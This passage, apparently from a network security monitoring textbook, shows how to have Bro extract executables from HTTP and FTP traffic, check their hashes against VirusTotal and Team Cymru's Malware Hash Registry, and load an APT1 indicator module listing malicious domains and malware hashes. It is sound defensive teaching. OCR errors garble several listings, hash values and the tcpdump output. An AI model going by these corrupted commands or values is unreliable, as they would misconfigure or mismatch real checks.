$ md5sum /nsm/bro/extracted/http/http-item_192.168.2.108:53999-46.43.34.31:80_ 
resp 2.dat 

a3ccfd0aa0b17fd23aa9fd0d84b86c05@ — /nsm/bro/extracted/http/http- 

item 192.168.2.108:53999-46.43.34.31:80 resp 2.dat 





Listing 12-10: Examining the binary extracted from HTTP traffic 


Here, we see that the extracted file is 483,328 bytes 8, with file 
type PE32 executable (GUI) Intel 80386, for MS Windows @ and a hash 
(a3ccfd0aa0b17fd23aa9fdod84b86co05 6) that matches the values Bro 
reported in Listing 12-9. 

To confirm that the hash matches the values of the binary downloaded 
to the Windows system, we look at the file properties, as shown in Figure 12-4. 
I used HashTab by Implbits (hitp://www.implbits.com/hashtab.aspx) to gener- 
ate these hashes in the File Hashes tab of the Properties dialog. 


iP putty.exe Properties mu 























General | Compatibilty | Fle Hashes | Security | Details | Previous Versions 














Hash Value 

EE7F8E72 
A3CCFDOAA0B17FD23AA9FDODS4B86C05 
89C19274AD51B6FBD 12FB59908316088C 1135307 














b v5.0.0 :: ©2010 Implbits Software [http://implb 











Figure 12-4: File properties of putty.exe showing the 
same MD5 hash 
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Testing Bro to Extract Binaries from FTP Traffic 


As with our HTTP test, we can run Bro against the FTP example to see the 
logs it creates. Listing 12-11 demonstrates running Bro against putty-ftp.pcap @ 
and telling Bro to again reference our modified local.bro @ file. (Notice that 
Irun these commands in a directory called bro-fip to keep the output sepa- 
rate from the HTTP test results.) 





$ sudo bro -r putty-ftp.pcap® /opt/bro/share/bro/site/local.bro® 

WARNING: No Site::local nets have been defined. It's usually a good idea to 
define your local networks. 

WARNING: Template value remaining in BPFConf filename: /etc/nsm/{{hostname}}- 
{{interface}}/bpf-bro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro, 
line 99) 


Listing 12-11: Running Bro against the saved HTTP traffic 


We can now see which logs Bro generated. First, we examine the con- 
tents of the current working directory, as shown in Listing 12-12. 





$ ls -al 

total 560 

drwxrwxr-X 3 sov sov 4096 Apr 17 20:30 . 

drwxr-xr-x 29 sov sov 4096 Apr 17 20:30 .. 

-IW-r--r-- 1 root root 281 Apr 17 20:30 capture loss.log 
-IW-r--r-- 1 root root 1531 Apr 17 20:30 conn.log 
-IW-I--r-- 1 root root 731 Apr 17 20:30 ftp.log® 
-IW-r--r-- 1 root root 7888 Apr 17 20:30 loaded scripts.log 
-IW-r--r-- 1 root root 1128 Apr 17 20:30 notice policy.log 
-IW-r--r-- 1 root root 251 Apr 17 20:30 packet filter.log 
-IW-r--r-- 1 root root 525649 Apr 17 18:07 putty-ftp.pcap 
-rw-r--r-- 1 root root 951 Apr 17 20:30 reporter.log 
drwx------ 3 root root 4096 Apr 17 20:30 .state 





Listing 12-12: Logs created by running Bro against the saved FTP traffic 


Let's look at the fif.log ®. Listing 12-13 shows the results of using the cat 
and bro-cut commands in tandem. 





$ cat ftp.log | bro-cut -d -C 


#separator \x09 
#set_separator , 
#empty_field (empty) 
#unset_field - 

#path ftp 

Hopen 2013-04-17-20-30-56 


#fields ts uid id.orig h id.orig p id.resp h id.resp p user 
password command arg mime type mime desc file size reply code 
reply msg tags extraction file 
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#types string string addr port addr port string string string string string 
string count count string table[string] file 


2013-04-17T18:06:59400000 3JGazzdNGmee 192.168.2.108 54104 212.13.197.229 
21 anonymous ® chrome@example.com® RETR ftp://212.13.197.229/users/ 
sgtatham/putty-latest/x86/putty.exe® application/x-dosexec MS-DOS executable, MZ for 
MS-DOS® 86 226 Transfer complete@ - /nsm/bro/extracted/ftp/ftp- 


file 192.168.2.108:54106-212.13.197.229:38177_1.dat® 


#close 2013-04-17-20-30-56 





Listing 12-13: Bro ftp.log for FTP transfer 


This one log entry at @ tracks a single FTP session, because Bro 
assigns one tracking ID @ to the session. Here, we see the artifacts of 
downloading a binary via Google Chrome. The username supplied is 
anonymous 6, and the password is chrome@example.com O. We see that the 
file retrieved, putty-latest/x86/putty.exe ®, is of type MS-DOS executable, MZ 
for MS-DOS O. We also see that the transfer completed successfully 9 and 
that Bro extracted the binary that it observed: /nsm/bro/extracted/ftp/ 
[tp-file_192.168.2.108:54106-212.13.197.229:38177_1.dat ©. 


Examining the Binary Extracted from FTP 


Now that we have indicators that Bro extracted a file from the FTP traffic, 
we can examine it on disk. Listing 12-14 shows the results of that analysis. 
In this example, we’ll only confirm that the MD5 hash matches what we 
saw earlier. 





$ md5sum /nsm/bro/extracted/ftp/ftp-file 192.168.2.108:54106-212.13.197.229:38177 1.dat 
a3ccfd0aa0b17fd23aa9fd0d84b86c05@ /nsm/bro/extracted/ftp/ftp- 
file 192.168.2.108:54106-212.13.197.229:38177 1.dat 





Listing 12-14: Examining the binary extracted from FTP traffic 


Notice that the MD5 hash 6 matches the values listed in the HTTP 
examples, Listing 12-10 and Figure 12-4. 


Submitting a Hash and Binary to VirusTotal 


Now that we have both the hash of a binary and the binary itself (recov- 
ered from network traffic), we can submit them to VirusTotal for analysis. 
Whereas in Figure 12-1 we submitted only a hash of a binary for analysis, in 
this section, we'll submit the hash and then the binary in order to compare 
the results. In Figure 12-5, we submit the hash. 

Figure 12-6 shows what VirusTotal knows about this hash. 

The results of this analysis are a little mixed, with two antivirus engines 
(in the Detection Ratio field) reporting the file associated with this hash as 
malicious! We know this file is legitimate, however, because we downloaded 
it from the publisher's website. If we're still suspicious, we could use the 
cryptographic signatures published on the PuTTY download page to verify 
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that the file we downloaded is the file posted on the website, but that would 
only confirm that someone with access to the private key posted a binary 
signed by that key. (Trust only goes so far in the digital world.) 


v total 


VirusTotal is a free service that analyzes suspicious files and URLs and facilitates 
the quick detection of viruses, worms, trojans, and all kinds of malware 


a3ccfd0aa0b17fd23aa9fdO0d84b86c05 Enter Term 


You may prefer to scan a file or scan a URL or find out more about searching 





Figure 12-5: Submitting the putty.exe hash to VirusTotal 


pal total 


SHA256 d4fía4559a1e22167933772d82cf714cd4bb720e79511c2424e18bdb619d63a4 
File name: PuTTY 


Detection ratio: 2/46 


Analysis date: 2013-04-17 18:09:29 UTC ( 3 hours, 6 minutes ago ) 





Figure 12-6: VirusTotal results for the submitted MD5 hash 


VirusTotal publishes other information along with antivirus results, 
such as the output of running Mark Russinovich’s Sigcheck (Attp://technet 
microsoft.com/en-us/sysinternals/bb897441.aspx), which checks to confirm 
that a file is digitally signed, as shown in Listing 12-15. 





Sigcheck 

publisher................: Simon Tatham 
product.........++seee222: PUTTY suite 

internal name............: PUTTY 

copyright................: Copyright (c) 1997-2011 Simon Tatham. 
original name............: PuTTY 

file version.............: Release 0.62 
description..............: SSH, Telnet and Rlogin client 





Listing 12-15: VirusTotal reports Sigcheck results. 


Sigcheck's results appear to confirm that the hash we submitted matches 
a PuTTY binary uploaded by previous VirusTotal users. 

We can also upload the binary Bro extracted for us, as shown in 
Figure 12-7. 





pa total 


VirusTotal is a free service that analyzes suspicious files and URLs and facilitates 
the quick detection of viruses, worms, trojans, and all kinds of malware 


http-item 192 168.2 108363A53999-46 43 34 .31963A80 resp | Choose File 


Maximum file size: 64MB 


By clicking ‘Scan it", you consent to our Terms of Service and allow VirusTotal to 
share this file with the security community. See our Privacy Policy for details. 


You may prefer to scan a URL or search through the VirusTotal dataset 








Figure 12-7: Submitting the binary extracted from HTTP traffic 


VirusTotal knows about this binary, and it should: it's the binary Bro 
extracted, and we just saw that the hash for it was already known to VirusTotal. 

This general approach shows a powerful way to extend Bro to extract 
Windows binaries from HTTP and FTP traffic. However, the current instance 
of Bro is running with the previous configuration files in memory. Unless 
we restart Bro, it won't know to apply the new local.bro configuration file to 
the running configuration. 


Restarting Bro 


Until you restart Bro, or reboot the SO system, Bro will continue running 
with the original /ocal.bro script loaded. In order to benefit from Bro's abil- 
ity to extract Windows executables from network traffic, we need to have 
Bro reread its local.bro script. To tell Bro to process the script, use the broct1 
interface, as shown in Listing 12-16. 





$ sudo broctl® 


Welcome to BroControl 1.1 


Type "help" for help. 


[BroControl] » checke 


manager is ok. 
proxy is ok. 


sov-etho-1 is ok. 

[BroControl] > installe 

removing old policies in /nsm/bro/spool/installed-scripts-do-not-touch/site ... done. 
removing old policies in /nsm/bro/spool/installed-scripts-do-not-touch/auto ... done. 
creating policy directories ... done. 

installing site policies ... done. 

generating cluster-layout.bro ... done. 

generating local-networks.bro ... done. 
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generating broctl-config.bro ... done. 


updating nodes .. 


. done. 


[BroControl] » restartO 


stopping ... 


stopping sov-etho-1 ... 


stopping proxy .. 


stopping manager ... 


starting ... 


starting manager ... 


starting proxy .. 


starting sov-etho-1 ... 


[BroControl] > exit® 





Listing 12-16: Reconfiguring Bro using broct1 


In Listing 12-16, broctl is started 6 from a terminal that launches the 
broctl interface and accepts commands. Next, we run the check command 6 
to determine if the configuration files Bro reads are formatted properly. If so, 
Bro reports the status as ok, and we install them 6. Next, we restart Bro @, 
and after seeing the components restart, we exit the broct1 interface ©. 

The last step is to confirm Bro's status using the NSM scripts shipped 
with SO, as shown in Listing 12-17. (You could do the same thing with the 
sudo broctl status command.) 





$ sudo nsm sensor ps-status --only-bro 


Status: Bro 

Name Type Host Status Pid Peers Started 

manager manager 192.168.2.102 running 19555 2 18 Apr 00:29:37 
proxy proxy 192.168.2.102 running 19603 2 18 Apr 00:29:40 
sov-eth0-1 worker 192.168.2.102 running 19647 2 18 Apr 00:29:42 


Status: sov-etho 





Listing 12-17: Confirming Bro status using NSM scripts 


According to the output of the nsm sensor ps-status --only-bro command, 
Bro is running properly with the new configuration. 

To test the live configuration, we'll download another executable and 
watch for entries in the Bro logs. Listing 12-18 shows commands to test 
the new functionality on a production SO sensor configured to extract 
Windows executables. 





$ wget http://www. etree.org/cgi-bin/counter.cgi/software/md5sum.exe® 


--2013-04-18 00:44:06-- http://www.etree.org/cgi-bin/counter.cgi/software/md5sum. exe 
Resolving www.etree.org (www.etree.org)... 152.19.134.46 

Connecting to www.etree.org (www.etree.org)|152.19.134.46|:80... connected. 

HTTP request sent, awaiting response... 200 OK 

Length: 49152 (48K) [application/octet-stream] 

Saving to: "md5sum.exe' 
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100%[======================================) ] 49,152 ==,-K/s§ in 0.15 


2013-04-18 00:44:07 (398 KB/s) - ~mdSsum.exe' saved [49152/49152] 


$ grep md5sum.exe /nsm/bro/logs/current/*® 


/nsm/bro/logs/current/http eth0.10g:1366245846.879854 . 8AwBGe9EpX 192.168.2.102 55409 
152.19.134.46 80 1 GET www.etree.org /cgi-bin/counter.cgi/software/md5sum. 
exe® - Wget/1.13.4 (linux-gnu) 0 49152 200 OK - - - 
(empty) - - - application/x-dosexec® eb574b236133e60C989c6F472F07827b8 
/nsm/bro/extracted/http/http-item 192.168.2.102:55409-152.19.134.46:80 resp 1.datO 


/nsm/bro/logs/current/notice.1og:1366245847.087877 8AwBGe9EpX 192.168.2.102 

55409  152.19.134.46 80 tcp HTTP: : MD5 192.168.2.102 
eb574b236133e60c989c6f472f07827b http: //www.etree.org/cgi-bin/counter.cgi/software/md5sum. 
exea eb574b236133e60c989c6f472f07827b 192.168.2.102  152.19.134.46 80 7 
sov-etho-1 Notice::ACTION LOG 6 3600.000000 F - - - 





Listing 12-18: Testing the new file extraction capability 


Listing 12-18 shows two commands to validate Windows executable 
extraction on a production sensor. First, we download a Windows executable 
called md5sum.exe using the wget tool €. Once the download is complete, we 
use grep to look for instances of the string md5sum in the current Bro logs O. 

There are two results: 


e The first, from hitp.log, shows the download of the file 9, file type 9, 
MD5 hash 6, and path to the extracted binary ©. 


e ©The second, from notice.log, reproduces many of the same elements from 
earlier examples, like the MD5 hash @ and URL for the binary ®. 


The presence of these logs indicates that Bro is extracting Windows 
executables from HTTP traffic, thanks to our configuration changes and 
application restart. 


Using APT1 Intelligence 


In February 2013, Mandiant released a report on a Chinese military unit 
known as Advanced Persistent Threat 1 (APT1). Within China, APT] is the 
Second Bureau of the Third Department of the General Staff Directorate 
of the People’s Liberation Army. Also known by its Military Unit Cover 
Designator, 61398, this Army team targets English-speaking companies and 
steals trade secrets, intellectual property, and other sensitive information. 
In its report, Mandiant released 3000 IOCs (discussed in Chapter 9), 
including domain names, IP addresses, X.509 encryption certificates, and 
MD5 hashes of malware used by APT1. Mandiant also published video of 
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the intruders interacting with victim Western computers to send phishing 
email, establish command-and-control channels, and exfiltrate data. 

Although Mandiant published intelligence in OpenIOC (Attp://www 
.openioc.org/) format, it was not immediately clear how network defenders 
and NSM analysts could apply those indicators to their network. Within two 
days of the report's arrival, Seth Hall from the Bro project published one 
answer: a new Bro module called APTI, incorporating Mandiant's APTI 
intelligence (Attps://github.com/sethhall/bro-apt1/) . Network defenders running 
NSM shops using SO now had an easy way to search for APTI indicators on 
the network. 


PROOF-OF-CONCEPT VS. PRODUCTION 


Seth Hall wrote the APT] Bro module as a proof-of-concept in the interest of 


publishing something quickly for the benefit of the community. However, SO 
users should be aware of several aspects of this module when using it in pro- 
duction. (Seth would be the first to warn you of all these issues, but | include 
them here for clarity!) 

As written, the module identifies the use of APT] domains in DNS traffic, but 
it does not detect APT] domains in the Host element of HTTP headers (such as 
Host: advanbusiness.com) or proxy-style URIs (such as GET http://advanbusiness 
.com/some/file). Also, the module doesn't look for activity involving subdomains 
(such as subdomain.advanbusiness.com). 

In addition to using the features in the APT1 Bro module, you could also 
look for interesting domains in other traffic, such as SMTP, or other content. As 
of this writing, the module doesn’t include those functions, but you can use the 
Bro network programming language to write scripts to meet those needs. Seth 
reminds users that Bro is constantly evolving, and his module will likely change 
as Bro incorporates new features. 





Using the APTI Module 


So far, we’ve explored how Bro works with SO to create a variety of use- 
ful logs, and we've modified local.bro to enable the extraction of Windows 
executables from HTTP and FTP traffic. Now we will extend Bro by adding 
a new module to its configuration. 

Seth's APTI module consists of three policy scripts: 


data.bro This script contains a list of the domain names, MD5 hashes, 
and elements of the X.509 certificates Mandiant provided, formatted 
for consumption by Bro. 


main.bro This script tells Bro's notice framework to watch for matches 
against elements in data.bro. 


load .bro This script tells Bro to load data.bro and main.bro. 


The module also includes a file called README:.rst, which contains 
instructions on how to install the script, discusses new notices generated 
by Bro, and offers related information. 

The IOCs in data.bro are formatted as shown in Listing 12-19. 





@module APT1; 


Oconst x509 serials and subjects: set[string, string] = { 
['01", "C=US, ST=Some-State, O-www.virtuallythere.com, OU-new, CN=new"], 
['0122", "C-US, ST=Some-State, O-Internet Widgits Pty Ltd, CN-IBM"], 

-- snip -- 


B 


Oconst domains: set[string] = { 
"advanbusiness.com", 
"aoldaily.com", 
"aoloniine.com", 
"applesoftupdate.com", 

-- snip -- 


B 


Oconst file_md5s: set[string] = { 
"001dd76872d80801692ff942308c64e6", 
"002325a0a67fded0381b5648d7fe9b8e", 
"o0dbb9e1c09dbdafb360f3163ba5a3de", 

-- snip -- 


}; 
Listing 12-19: Excerpt from APTI data.bro 


The data.bro file contains four main parts: 


e Part @ declares that this is the APTI module. 


e Part @ includes X509 encryption certificate details recognized by Bro 
and used by APTI. 
e Part © contains a list of malicious domains associated with APT1 activity. 


e Part Ó features a list of MD5 hashes of malware used by APTI. 


As you can see, it's very easy to add IOCs to this file or a copy, in order 
to detect different activities. The main.bro file generates alert data in the 
Bro notice.log file, as shown in Listing 12-20. 





APT1::Domain Hit 
APT1::Certificate Hit 
APT1::File MD5 Hit 





Listing 12-20: Alert data generated by the APT] module 


We'll see one of these alerts in a live example when we test the APTI 
module, but first we need to get that module and install it. 
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Installing the APTI Module 


We can test the APT1 module using techniques like the ones we tried when 
enabling binary extraction from HTTP and FTP traffic. Listing 12-21 shows 
this process in action. 





$ sudo apt-get install git® 
-- snip -- 


$ cd /opt/bro/share/bro/site/ 


$ sudo git clone git://github.com/sethhall/bro-apti.git apt1® 
Cloning into 'apti'... 

remote: Counting objects: 12, done. 

remote: Compressing objects: 100% (10/10), done. 

remote: Total 12 (delta 2), reused 11 (delta 1) 

Receiving objects: 100% (12/12), 32.82 KiB, done. 

Resolving deltas: 100% (2/2), done. 


$ 1s 
apti 


local.bro.orig local-proxy.bro 
local.bro local-manager.bro local-worker.bro 


$ cd apti 


$ 1s 
data.bro 


. load .bro main.bro README.rst 





Listing 12-21: Installing Git and obtaining the APT] module 
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To acquire the APT1 module, first install the Git version control soft- 
ware 9, and then clone the Git repository of Seth Hall’s APT module 6. 

Once the APTI module has been downloaded into the /opt/bro/share/ 
bro/site/ directory, tell Bro about it by adding the following line to the bot- 
tom of local.bro: 





@load apti 





With local.bro modified, we're almost ready to test the APT] module, but 
we still need to take one more step. 


Generating Traffic to Test the APTI Module 


To test the APT1 module, we launch a terminal on our sensor and tell 
Tcpdump to capture traffic. We apply a BPF to focus on traffic to and from 
port 53 that involves our test system 192.168.2.102. Tcpdump will save what 
it sees to a trace file called port53.pcap. 





$ sudo tcpdump -n -i ethO -s O -w port53.pcap port 53 and host 192.168.2.102 





In a second terminal, query for one of the domains listed in the APTI 
data.bro policy script advanbusiness.com, as shown in Listing 12-22. 





$ host advanbusiness.com® 
advanbusiness.com has address 50.63.202.910 

advanbusiness.com mail is handled by O smtp.secureserver.net. 
advanbusiness.com mail is handled by 10 mailstore1.secureserver.net. 





listing 12-22: Performing a DNS query for advanbusiness.com 


Next, we use the Linux utility host to query for advanbusiness.com €», and 
see that the result is the IP address 50.63.202.91 6. 

Returning to Tcpdump, we stop the capture with CTRL-C and review the 
results, as shown in Listing 12-23. 





$ tcpdump -n -r port53.pcap 
reading from file port53.pcap, link-type EN10MB (Ethernet) 


14 
14 
14 


230: 
230: 
230: 
230: 
230: 
230: 


MX 


15. 
15. 
- 765342 IP 
15. 
15. 
15. 


15 


622379 IP 
762833 IP 


870230 IP 
872373 IP 
989506 IP 


192. 
172. 
.168.2.102 
172. 
192. 
172. 


192 


168.2.102 
16.2.1.53 


16.2.1.53 
168.2.102 
16.2.1.53 


-57097 
> 192 
- 58378 
> 192 
- 42336 
> 192 


> 172.16.2.1.53: 
.168.2.102.57097: 
> 172.16.2.1.53: 
.168.2.102.58378: 
> 172.16.2.1.53: 
.168.2.102.42336: 


mailstore1.secureserver.net. 10 (131) 


Listing 12-23: DNS query for advanbusiness.com 


57373+ A? advanbusiness.com.@ (35) 
57373 1/0/0 A 50.63.202.91@ (51) 
42025+ AAAA? advanbusiness.com. (35) 
42025 0/1/0 (103) 

29779+ MX? advanbusiness.com. (35) 
29779 2/0/2 MX smtp.secureserver.net. 


Listing 12-23 shows the query for advanbusiness.com @, followed by the 
result: IP address 50.63.202.91 @. With this traffic, we can now test the 
APT1 module. 


Testing the APTI Module 


To test the APT1 module, we run Bro against the trace file we just captured. 
Listing 12-24 shows the result. 





$ sudo bro -r port53.pcap® /opt/bro/share/bro/site/local.bro® 

WARNING: No Site::local_nets have been defined. It's usually a good idea to 
define your local networks. 
WARNING: Template value remaining in BPFConf filename: /etc/nsm/{{hostname}}- 
{{interface}}/bpf-bro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro, 
line 99) 





Listing 12-24: Running Bro against the saved DNS traffic 


Listing 12-24 shows Bro reading a network trace 9, while the pres- 

ence of the local.bro file in the command line tells Bro to read that file 
for additional configuration information. We can now see which logs Bro 
generated. 
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First, we examine the contents of the current working directory, as 
shown in Listing 12-25. 


$ ls -al 

total 52 

drwxrwxr-X 3 soe soe 4096 Apr 18 14:52 . 

drwxr-xr-x 33 soe soe 4096 Apr 18 14:52 .. 

-IW-r--r-- 1 root root 278 Apr 18 14:52 capture loss.log 


-IW-r--r-- 1 root root 865 Apr 18 14:52 conn.log 
-IW-I--r-- 1 root root 932 Apr 18 14:52 dns.log 

-IW-r--r-- 1 root root 8020 Apr 18 14:52 loaded scripts.log 
-IW-r--r-- 1 root root 864 Apr 18 14:52 notice.log® 
-IW-r--r-- 1 root root 1128 Apr 18 14:52 notice policy.log 
-IW-r--r-- 1 root root 251 Apr 18 14:52 packet filter.log 
-IW-IW-I-- 1 soe soe 762 Apr 18 14:52 port53.pcap 
-IW-r--r-- 1 root root 951 Apr 18 14:52 reporter.log 
drwx------ 3 root root 4096 Apr 18 14:52 .state 





Listing 12-25: Logs created by running Bro against the saved HTTP traffic 


Listing 12-25 shows a variety of files created when Bro processed the net- 
work trace. Let's look at the notice.log € to see if the APT] module detected 
the DNS query we made for the reportedly malicious advanbusiness.com 
domain. Listing 12-26 shows the output. 





$ cat notice.log | bro-cut -C -d 


#separator \x09 
#set_separator , 
#empty_field (empty) 
#unset_field - 

#path notice 

#open 2013-04-18-14-52-57 


#fields ts uid id.orig h id.orig p id.resp h id.resp p proto 
note msg sub src dst p n peer_descr actions policy_items 
suppress_for dropped remote_location.country_code remote location.region remote 
location.city remote location.latitude remote location.longitude metric 
index.host metric index.str metric index.network 


#types string string addr port addr port enum enum string string 
addr addr port count string table[enum] table[count] interval bool 
string string string double double addr string subnet 


2013-04-18T14:30:1540000 IVCYGEfpRya 192.168.2.102 57097  172.16.2.1 53 

udp APT1::Domain Hit A domain from the APT1 report seen: advanbusiness.comO 

- 192.168.2.102 172.16.2.1 53 2 bro Notice::ACTION LOG 6 
3600.000000 F - z - - = s - - 


#close 2013-04-18-14-52-57 





Listing 12-26: Contents of the Bro notice.log file 
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Listing 12-26 shows Bro reporting an APT: :Domain hit alert 6, followed 
by information about the domain seen, advanbusiness.com . Our test was 
successful, but this was only a test. To make Bro run the new configuration, 
we need to restart Bro, as shown in Listing 12-27. 





$ sudo broctl install 8& sudo broctl restart 

removing old policies in /nsm/bro/spool/installed-scripts-do-not-touch/site ... done. 
removing old policies in /nsm/bro/spool/installed-scripts-do-not-touch/auto ... done. 
creating policy directories ... done. 

installing site policies ... done. 

generating cluster-layout.bro ... done. 

generating local-networks.bro ... done. 

generating broctl-config.bro ... done. 


updating nodes .. 
stopping ... 
soe-eth0-1 ... 
proxy ... 


stopping 
stopping 
stopping 


starting . 


starting 
starting 
starting 


. done. 


proxy ... 
soe-ethO-1 ... 





Listing 12-27: Restarting Bro from the command line 


Remember to check Bro's status using the sudo nsm sensor ps-status 
--only-bro command as well. 


Reporting Downloads of Malicious Binaries 


As you learned earlier, Bro can calculate MD5 hashes of Windows executa- 
bles downloaded over HTTP. In this section, we'll examine how SO and Bro 
integrate with a third-party malware hash registry to warn analysts when 
users download malicious software using a database offered by the Team 
Cymru organization. 


Using the Team Cymru Malware Hash Registry 


Team Cymru, formally known as Team Cymru Research NFP, describes itself 
as “a specialized Internet security research firm and 501(c)3 non-profit 
dedicated to making the Internet more secure" (http://www.team-cymru. 
org/About/). We can use their free Malware Hash Registry (MHR, at hitp:// 
wwuw.team-cymru.org/Services/ MHR/) to match MD5 hashes against known 
malware. 

Most analysts query the MHR via DNS. Listing 12-28 shows how to use 
the Linux dig command to run DNS TXT record queries for a malware hash 
against MHR. 
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$ dig «short 733a48a9cb49651d72fe824ca91e8d00.malware.hash.cymru.com TXTO 
"12772219460 790" 


$ date -d 012772219460 
Tue Jun 22 15:52:26 UTC 20100 


$ dig «short 1e39efe30b02fd96b10785b49e23913b.malware.hash.cymru.com TXTO 


$ whois -h hash.cymru.com 1e39efe30b02fd96b10785b49e23913b9 
1e39efe30b02fd96b10785b49e23913b 1366297928 NO DATAG 





Listing 12-28: Querying the MHR via TXT and whois records 


The first example shows a DNS TXT records query for malware with hash 
733a48a9cb49651d72fe824ca91e8d00 ®. (Search VirusTotal to see what it is!) The 
first part of the response shows the date when the MHR last saw the sample 8. 
The second part of the response is a rough antivirus detection metric, as 
a percentage ©. We convert the timestamp from Unix epoch time to 
human-readable format with the date command @, and see that it was 
June 22, 2010 ©. 

The second example shows what happens when you query the MHR 
and it sends no response Q. The hash supplied is the value for the Firefox 
binary. Because the MHR has no data on this hash, we switch to the MHR 
WHOIS query functionality 9. The NO DATA O response proves the MHR 
doesn't know the supplied hash. 

The example in Listing 12-29 shows another query using dig, but not 
requesting a TXT record. 





$ dig «short 733a48a9cb49651d72fe824ca91e8d00 .malware.hash.cymru.com 
127.0.0.2 





Listing 12-29: Querying the MHR via the default A record 


We query for the same first hash from Listing 12-28, but we let the 
default be an A record. 

A query for an A record asks a DNS server to return an IP address for 
the requested fully qualified domain name. In contrast, a query for a PTR 
record asks a DNS server to return a fully qualified domain name for the 
requested IP address. A query for a TXT record asks a DNS server to reply 
with any text records associated with a domain name. 

Our only result is the IP address 127.0.0.2. This is the MHR's way of 
responding to A record queries that have a match. If we want more informa- 
tion about a match, we need to run a DNS query for a TXT record, as shown 
earlier in Listing 12-28. 
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The MHR and SO: Active by Default 


By default, Bro on SO is configured to work with the MHR to help detect 
malicious downloads. SO relies on Bro to calculate MD5 hashes of Windows 
executables downloaded over HTTP, and that Bro automatically submits 
those hashes to the MHR. We can see this activity in action if we query Bro 
logs via ELSA, as shown in Figure 12-8. 








1 node(s) with 1.1 million logs indexed and 19.0 million archived 








Records: 8/8 443 ms ? 


Submit Query | Help 








Result Options... » |Field Summary 
host(1) program(1) class(1) srcip(2) srcport(2) dstip(1) dstport(1) proto(1) hostname(1) answer(1) 


first < prev next > last 15 [=] 





LS Amesamp, 2, 


Fields 





Fri Apr 12 
09:34:12 


Fri Apr 12 
09:34:12 


Fri Apr 12 
09:34:13 


Fri Apr 12 
09:34:13 


Fri Apr 12 
14:09:18 


Fri Apr 12 
14:09:18 


Fri Apr 12 
14:09:18 


Fri Apr 12 
14:09:18 





1 
hi 


713641.401502]GjgrSUbaO8g]192.168.2.126/55351]172.16.2.1/53]ud p[50039/fe39efe: 
—127 0.0.1 proaram-bro dns class-BRO DNS srcip=192 168 2 126 srcport 





omitiC INTERNETI28IAAAALFIFITIFIOI- 





MIC INTERNETITIALHHFIFITIFIOH- 


i com|tiC INTERNETI1IAIHFIFITIFIOI- 





26155351/172.16.2.1/53]udp/36218/f6396fe30B02fd96b1078549523913B.malware:hash.ymmi/com/!IC INTERNETI28/AAAALHFIFITIFIOH- 
sı REAA cport=55351 dstip=172.16.2.1 dstport=53 proto=UDP 





HIC INTERNETITIAL-FIFITIFIOH- 
stip=172.16.2.1 dstport-53 proto-UDP 





HIC INTERNETI28IAAAALHFIFITIFIOH- 














Records: 8 / 8 443 ms 2 





Figure 12-8: Querying ELSA for MHR lookup 


In Figure 12-8, we query ELSA for 1e39efe30b02fd96b10785b49e23913b 
.malware.hash.cymru.com—the MD5 hash of the Firefox binary from an earlier 
example (1e39efe30b02fd196b10785b49e23913b), plus the domain malware.hash 
.cymru.com. Figure 12-8 shows eight results, all of which are pairs. The first 
entry in the pair is a lookup for an A record for IPv4, and the second entry is 
a lookup for an AAAA record for IPv6. Thus, we have four unique queries for 
this particular MD5 hash. 

We can use one of two approaches to determine if any of the lookups 
returned results: 


e Inspect the results returned by ELSA directly. For example, a result 
with no indication of malicious entries in the MHR looks like |1 
[C INTERNET|1/A| - | -|F|F|T|F]0| - | - for IPv4 and |1|C INTERNET|28|AMM| - 
|-|F|F|T|Flo|-|- for IPv6. We see these results for each of the entries 
in Figure 12-8, indicating that there are no matches in the MHR. This 
tells us that the MHR doesn't think the download of a binary with MD5 
1e39efe30b02fd96b10785b49e23913b is malicious. 


e Query ELSA for Malware Hash Registry Match. This is part of the event 
returned by Bro when it queries the MHR and gets a positive response. 
In this case, the query finds no records in ELSA for a binary with hash 
1e39efe30b02fd96b10785b49e23913b. 
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The MHR and SO vs. a Malicious Download 


Because SO and Bro query the MHR by default, in production, any match 
for a malicious download will appear in ELSA and the underlying Bro logs. 

For example, suppose that one day you're working with SO and your 
NSM data, and you run a query for Malware Hash Registry Match. You get the 
result shown in Figure 12-9. 


ELSA» Admin v 1 node(s) with 1.1 million logs indexed and 19.0 million archived 





Query |Malware Hash Registry Match | Submit Query | Help 





E Reuse m Grid 


m (2013-04-17 11:30:42) To Add Term v | | Report On v | | Index v | curent tab display 





Malware_Hash_Registry_Match (1) 


Result Options... v | Field Summary p ; p j 
host(1) program(1) class(1) srcip(1) srcport(1) dstip(1) dstport(1) notice type(1) notice _msg(1) 
Records: 1/ 1 377 ms ? first pre 1 ext ast 15 [x] 








Time: a Fields 


1366293016.555895]- 
1192.168.2.108/62585[205.186.148.46|80|tcp|HTTP::Malware Hash Registry Match|192.168.2.108 
b4f990cad1d20efab410e98fc7a6c81b http://www.taosecurity.com/helpdesk.exe|- 
Info Thu Apr 18 1192.168.2.108[205.186.148.46/80|-|soe-eth0-1|Notice: :ACTION LOG]J6[3600.i tiim 1HH4-H-H- 
~> | 09:50:16 127.0.0.1 program-bro notice cl 5 
205. 186.148 46 dstport 0 e lash R 
|. msg-192.168.2.108 b4f990cad1d20efab4 10e98fc 7a6c8 1b 
http- [hoowow. taosecurity com/helpdesk exe 























Records: 1/1377 ms? <<first <prev 1 next> last 15 [x] 





Figure 12-9: Query result for Malware Hash Registry Match 


I've reproduced the same log entry as text only in Listing 12-30 for easy 





reference. 
1366293016.555895 = 192.168.2.1080 62585 205.186.148.460 80 tcp 
HTTP::Malware Hash Registry Match® 192.168.2.108 b4f990cad1d20efab410e98fc7a6c81bO 
http://www. taosecurity.com/helpdesk.exe® - 192.168.2.108 . 205.186.148.46 
80- soe-etho-1 Notice: :ACTION LOG 6 3600 . 000000 F 


Listing 12-30: Log entry for Malware Hash Registry Match 


This log result from the Bro notice.log file indicates that a com- 
puter with IP address 192.168.2.108 6 visited 205.186.148.46 @ and 
triggered an HTTP::Malware Hash Registry Match ® alert for MD5 hash 
b4f990cadid20efab410e98fc7a6c81b © from www.taosecurity.com and the 
helpdesk.exe file €. We can learn more about this connection if we 
query ELSA for the filename helpdesk.exe, as shown in Figure 12-10. 

The results show three records: 


e The first record in Figure 12-10 is Bro’s way of telling us that it com- 
puted an MD5 hash of the helpdesk.exe binary. 


e The second record is the same as what we saw in the MD5 lookup. 


e The third record shows that Bro extracted the binary from the HTTP 
traffic and saved it as /nsm/bro/extracted/http/http-item_192.168.2.108: 
62585-205.186.148.46:80_resp_1.dat. 
